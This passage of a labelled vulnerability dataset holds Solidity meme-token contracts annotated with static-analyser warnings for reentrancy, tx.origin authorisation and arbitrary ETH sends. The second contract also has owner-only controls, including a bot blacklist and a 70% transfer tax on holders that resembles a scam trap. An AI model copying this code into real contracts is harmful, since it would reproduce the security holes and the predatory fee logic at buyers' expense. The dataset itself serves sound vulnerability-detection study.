attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 600eaa9): TrumpOnETH._initialBuyTax should be constant \n\t// Recommendation for 600eaa9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60f3912): TrumpOnETH._initialSellTax should be constant \n\t// Recommendation for 60f3912: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9723190): TrumpOnETH._reduceBuyTaxAt should be constant \n\t// Recommendation for 9723190: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 667dfda): TrumpOnETH._reduceSellTaxAt should be constant \n\t// Recommendation for 667dfda: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: d13d658): TrumpOnETH._preventSwapBefore should be constant \n\t// Recommendation for d13d658: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump on ETH\";\n\n string private constant _symbol = unicode\"TOE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0c86dd): TrumpOnETH._taxSwapThreshold should be constant \n\t// Recommendation for b0c86dd: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8f4e317): TrumpOnETH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8f4e317: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 948e526): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 948e526: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6aef041): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6aef041: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 948e526\n\t\t// reentrancy-benign | ID: 6aef041\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 948e526\n\t\t// reentrancy-benign | ID: 6aef041\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7c67be3): TrumpOnETH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7c67be3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6aef041\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 948e526\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 37a372d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 37a372d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: ebb58ad): TrumpOnETH._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for ebb58ad: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9b5b4e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9b5b4e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9fc7e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9fc7e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: ebb58ad\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n _sellCount[block.number] < 3\n ) {\n\t\t\t\t// reentrancy-events | ID: 37a372d\n\t\t\t\t// reentrancy-no-eth | ID: 9b5b4e9\n\t\t\t\t// reentrancy-eth | ID: b9fc7e4\n swapTokensForEth(min(amount, contractTokenBalance));\n\n\t\t\t\t// reentrancy-no-eth | ID: 9b5b4e9\n _sellCount[block.number] = _sellCount[block.number] + 1;\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 37a372d\n\t\t\t\t\t// reentrancy-eth | ID: b9fc7e4\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b9fc7e4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 37a372d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b9fc7e4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b9fc7e4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 37a372d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 948e526\n\t\t// reentrancy-events | ID: 37a372d\n\t\t// reentrancy-benign | ID: 6aef041\n\t\t// reentrancy-no-eth | ID: 9b5b4e9\n\t\t// reentrancy-eth | ID: b9fc7e4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6308db8): TrumpOnETH.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6308db8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 948e526\n\t\t// reentrancy-events | ID: 37a372d\n\t\t// reentrancy-eth | ID: b9fc7e4\n\t\t// arbitrary-send-eth | ID: 6308db8\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function manageList(address[] memory bots_) external onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 43cf5d1): TrumpOnETH.reduceFee(uint256,uint256) should emit an event for _finalBuyTax = _newBuyFee _finalSellTax = _newSellFee \n\t// Recommendation for 43cf5d1: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 _newBuyFee,\n uint256 _newSellFee\n ) external onlyOwner {\n require(\n _newBuyFee <= 30 && _newSellFee <= 30 && tradingOpen,\n \"Invalid fee\"\n );\n\n\t\t// events-maths | ID: 43cf5d1\n _finalBuyTax = _newBuyFee;\n\n\t\t// events-maths | ID: 43cf5d1\n _finalSellTax = _newSellFee;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a7494e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a7494e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a9a8435): TrumpOnETH.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a9a8435: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a95e1e0): TrumpOnETH.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a95e1e0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d760981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d760981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4a7494e\n\t\t// reentrancy-eth | ID: d760981\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4a7494e\n\t\t// unused-return | ID: a95e1e0\n\t\t// reentrancy-eth | ID: d760981\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4a7494e\n\t\t// unused-return | ID: a9a8435\n\t\t// reentrancy-eth | ID: d760981\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4a7494e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d760981\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10325.sol", "size_bytes": 21276, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WORLDLIBERTYFI6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: de4ea62): WORLDLIBERTYFI6900.bots is never initialized. It is used in WORLDLIBERTYFI6900._transfer(address,address,uint256)\n\t// Recommendation for de4ea62: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9fffd19): WORLDLIBERTYFI6900._taxWallet should be immutable \n\t// Recommendation for 9fffd19: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62809d8): WORLDLIBERTYFI6900._initialBuyTax should be constant \n\t// Recommendation for 62809d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0927f4): WORLDLIBERTYFI6900._initialSellTax should be constant \n\t// Recommendation for b0927f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0a6ac19): WORLDLIBERTYFI6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 0a6ac19: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a97484): WORLDLIBERTYFI6900._reduceSellTaxAt should be constant \n\t// Recommendation for 4a97484: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 116be6d): WORLDLIBERTYFI6900._preventSwapBefore should be constant \n\t// Recommendation for 116be6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"WORLDLIBERTYFI6900\";\n\n string private constant _symbol = unicode\"WLFI6900\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2dc7bc0): WORLDLIBERTYFI6900._taxSwapThreshold should be constant \n\t// Recommendation for 2dc7bc0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b73e25): WORLDLIBERTYFI6900._maxTaxSwap should be constant \n\t// Recommendation for 6b73e25: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07ae8c3): WORLDLIBERTYFI6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07ae8c3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 09a885a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 09a885a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 855e07a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 855e07a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 09a885a\n\t\t// reentrancy-benign | ID: 855e07a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 09a885a\n\t\t// reentrancy-benign | ID: 855e07a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 50c7110): WORLDLIBERTYFI6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 50c7110: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 855e07a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 09a885a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8041696): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8041696: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: de4ea62): WORLDLIBERTYFI6900.bots is never initialized. It is used in WORLDLIBERTYFI6900._transfer(address,address,uint256)\n\t// Recommendation for de4ea62: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7fabe8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7fabe8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8041696\n\t\t\t\t// reentrancy-eth | ID: 7fabe8a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8041696\n\t\t\t\t\t// reentrancy-eth | ID: 7fabe8a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7fabe8a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7fabe8a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7fabe8a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8041696\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7fabe8a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7fabe8a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8041696\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8041696\n\t\t// reentrancy-events | ID: 09a885a\n\t\t// reentrancy-benign | ID: 855e07a\n\t\t// reentrancy-eth | ID: 7fabe8a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d8abf8e): WORLDLIBERTYFI6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d8abf8e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8041696\n\t\t// reentrancy-events | ID: 09a885a\n\t\t// reentrancy-eth | ID: 7fabe8a\n\t\t// arbitrary-send-eth | ID: d8abf8e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 18a49c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 18a49c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 21e8b94): WORLDLIBERTYFI6900.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 21e8b94: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability 